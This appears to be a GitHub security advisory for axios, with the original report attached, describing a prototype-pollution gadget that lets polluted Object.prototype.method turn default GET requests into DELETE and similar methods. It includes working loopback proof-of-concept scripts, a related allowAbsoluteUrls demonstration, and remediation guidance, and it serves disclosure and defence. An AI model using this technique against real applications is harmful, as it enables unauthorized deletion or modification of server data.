GHSA-9fr6-4gfg-395g: Npm/axios vulnerability
Summary
Axios default-instance requests that omit an explicit method can read an inherited method value from Object.prototype. If another vulnerability in the same process pollutes Object.prototype.method, calls such as axios.request({ url }) and axios({ url }) can send a state-changing HTTP method instead of the expected default GET.
Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.
Impact
In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit method from GET to methods such as DELETE, POST, PUT, or PATCH. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.
Method aliases such as axios.get(url) and requests with an explicit own method are not affected by the confirmed method path.
Affected Functionality
Affected:
- Default axios instance calls: axios.request({ url }). - Callable shorthand: axios({ url }). - Requests where no own config.method is provided.
Not affected in the confirmed method PoC:
- axios.get(url) and other method aliases. - axios.request({ url, method: 'GET' }). - axios.create().request({ url }) when the created instance defaults are produced by current mergeConfig() and do not inherit from Object.prototype.
Technical Details
lib/core/Axios.js sets the request method with:
js config.method = (config.method || this.defaults.method || 'get').toLowerCase();
mergeConfig() now returns a null-prototype request config, so config.method is safe from Object.prototype. However, the default axios instance stores the module defaults object as this.defaults, and that defaults object is a normal object. If Object.prototype.method exists, this.defaults.method resolves to the polluted inherited value.
Local verification on axios 1.18.1 showed a default-instance axios.request({ url }) request reaching a loopback server as DELETE after Object.prototype.method = 'DELETE'.
Proof of Concept of Attack
Constrained local demonstration:
js Object.prototype.method = 'DELETE'; try { await axios.request({ url: 'http://127.0.0.1:<port>/resource' }); } finally { delete Object.prototype.method; }
Expected safe behavior is a GET request. Current affected behavior sends DELETE on the default instance when no method is provided.
Workarounds
Use explicit method aliases such as axios.get() or set an own method on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.
<details> <summary><h3>Original report</h3></summary> Summary
Axios 1.17.0 contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes Object.prototype.method, default-instance calls such as axios.request({ url }) and axios({ url }) can be forced to use an attacker-controlled HTTP method, such as DELETE, instead of the expected default GET.
Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from this.defaults without an own-property guard, allowing inherited values from Object.prototype to influence request behavior.
This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to Object.prototype; Axios is the component that becomes dangerous after Object.prototype has already been polluted by another bug in the same process.
Details
The vulnerable fallback read is in lib/core/Axios.js:
js // Set config.allowAbsoluteUrls if (config.allowAbsoluteUrls !== undefined) { // do nothing } else if (this.defaults.allowAbsoluteUrls !== undefined) { config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls; } else { config.allowAbsoluteUrls = true; }
// Set config.method config.method = (config.method || this.defaults.method || 'get').toLowerCase();
The merged request config is created as a null-prototype object in lib/core/mergeConfig.js:
js const config = Object.create(null);
Therefore, when the caller does not provide config.method, the fallback becomes:
js this.defaults.method
The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from Object.prototype. If Object.prototype.method is polluted, this.defaults.method resolves to that inherited value and Axios uses it as the request method.
The same unsafe inherited-property pattern also affects this.defaults.allowAbsoluteUrls, which can change how absolute URLs are combined with baseURL.
Proof of Concept
Access and Attack Conditions
No admin access is required for Axios itself. This is a library-level gadget.
The attacker must have an existing way to pollute Object.prototype in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.
Required condition:
text Some other bug or unsafe merge path in the application must allow Object.prototype pollution.
What Axios contributes:
text Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.
What Axios does not do:
text Axios does not create Object.prototype pollution by itself.
Affected usage:
js axios.request({ url }); axios({ url });
Not affected in the confirmed PoC:
js axios.get(url); axios.request({ url, method: "GET" }); axios.create().request({ url });
Reproduction Steps
1. Create a clean test directory and install Axios 1.17.0:
powershell mkdir axios-validation cd axios-validation npm init -y npm install axios@1.17.0 --no-audit --no-fund
2. Save the method override PoC below as:
text validate-prototype-method-gadget.mjs
3. Run the PoC:
powershell node validate-prototype-method-gadget.mjs
4. Confirm that the output shows:
text defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED
5. This proves that after Object.prototype.method = "DELETE", default-instance calls that omit an explicit method are sent as DELETE.
What the Method PoC Script Does
The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:
js Object.prototype.method = "DELETE";
While that pollution is active, the script sends five Axios requests:
js axios.request({ url }); // expected vulnerable path axios({ url }); // expected vulnerable shorthand path axios.get(url); // expected safe alias path axios.request({ url, method: "GET" }); // expected safe explicit-method path axios.create().request({ url }); // expected safe isolated-instance path
The script then deletes the polluted property:
js delete Object.prototype.method;
Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.
Method Override PoC
Create validate-prototype-method-gadget.mjs:
js import http from "node:http"; import axios from "axios";
async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; }
async function runRequest(label, requestFn) { const hits = []; const server = http.createServer((req, res) => { hits.push({ method: req.method, url: req.url, }); res.writeHead(200, { "content-type": "application/json" }); res.end(JSON.stringify({ ok: true })); });
const port = await listen(server); const url = http://127.0.0.1:${port}/${label};
let status = "completed"; let error = ""; try { await requestFn(url); } catch (err) { status = "error"; error = err?.message || String(err); }
server.close(); return { label, status, error, hits }; }
const results = [];
Object.prototype.method = "DELETE"; try { results.push(await runRequest("default-request-no-method", (url) => axios.request({ url }))); results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url }))); results.push(await runRequest("default-get-alias", (url) => axios.get(url))); results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));
const instance = axios.create(); results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url }))); } finally { delete Object.prototype.method; }
const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || ""; const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || ""; const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || ""; const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || ""; const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";
console.log(axiosVersion=${axios.VERSION}); console.log(results=${JSON.stringify(results)}); console.log(defaultRequestMethod=${defaultRequestMethod}); console.log(defaultShorthandMethod=${defaultShorthandMethod}); console.log(getAliasMethod=${getAliasMethod}); console.log(explicitGetMethod=${explicitGetMethod}); console.log(createdInstanceMethod=${createdInstanceMethod});
const confirmed = defaultRequestMethod === "DELETE" && defaultShorthandMethod === "DELETE" && getAliasMethod === "GET" && explicitGetMethod === "GET" && createdInstanceMethod === "GET";
console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED"); process.exitCode = confirmed ? 0 : 1;
Run:
powershell node validate-prototype-method-gadget.mjs
Observed result:
text axiosVersion=1.17.0 defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED
The local server received:
text axios.request({ url }) -> DELETE axios({ url }) -> DELETE axios.get(url) -> GET axios.request({ url, method:"GET" }) -> GET axios.create().request({ url }) -> GET
This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.
Supporting allowAbsoluteUrls Gadget Evidence
The same inherited-property issue affects allowAbsoluteUrls.
Create validate-prototype-allowabsoluteurls-gadget.mjs:
js import http from "node:http"; import axios from "axios";
async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; }
async function runCase(label, requestFn) { const baseHits = []; const absoluteHits = [];
const baseServer = http.createServer((req, res) => { baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("base"); });
const absoluteServer = http.createServer((req, res) => { absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("absolute"); });
const basePort = await listen(baseServer); const absolutePort = await listen(absoluteServer);
try { await requestFn({ baseURL: http://127.0.0.1:${basePort}/api, url: http://127.0.0.1:${absolutePort}/absolute-path, }); } catch {}
baseServer.close(); absoluteServer.close();
return { label, baseHits, absoluteHits }; }
const results = [];
results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));
Object.prototype.allowAbsoluteUrls = false; try { results.push(await runCase("polluted-default-request", (config) => axios.request(config))); const instance = axios.create(); results.push(await runCase("polluted-created-instance", (config) => instance.request(config))); } finally { delete Object.prototype.allowAbsoluteUrls; }
console.log(axiosVersion=${axios.VERSION}); console.log(results=${JSON.stringify(results)});
Observed result:
text axiosVersion=1.17.0 baselineUsedAbsolute=true pollutedDefaultUsedBase=true pollutedInstanceUsedAbsolute=true RESULT: CONFIRMED
Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.
Impact
This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.
If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:
- axios.request({ url }) - axios({ url })
This can turn an expected safe default GET request into a state-changing method such as:
- DELETE - POST - PUT - PATCH
Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.
The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path. </details>
---
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/axiosto a version that resolves this vulnerability.Fixed in 1.20.0 - Upgrade
Upgrade
npm/axiosto a version that resolves this vulnerability.Fixed in 0.34.0 - Compensating control
Avoid default Axios-instance requests that omit an explicit method when prototype pollution is possible. Use explicit method aliases such as axios.get(), set an own method on request configurations, or use isolated instances created with axios.create().
Event History
Frequently Asked Questions
Can this issue be exploited without another vulnerability?
No. Exploitation requires a separate prototype-pollution primitive in the same process that can set Object.prototype.method; Axios is only the read-side gadget.
Which Axios call patterns should be prioritized during code review?
Review default-instance calls that omit an own method, including axios.request({ url }) and axios({ url }). These calls can inherit a polluted method value instead of using the expected GET default.
Are Axios method aliases or explicitly specified methods affected?
The confirmed method path does not affect axios.get(url) or other method aliases. Requests with an explicit own config.method are also not affected by the confirmed path.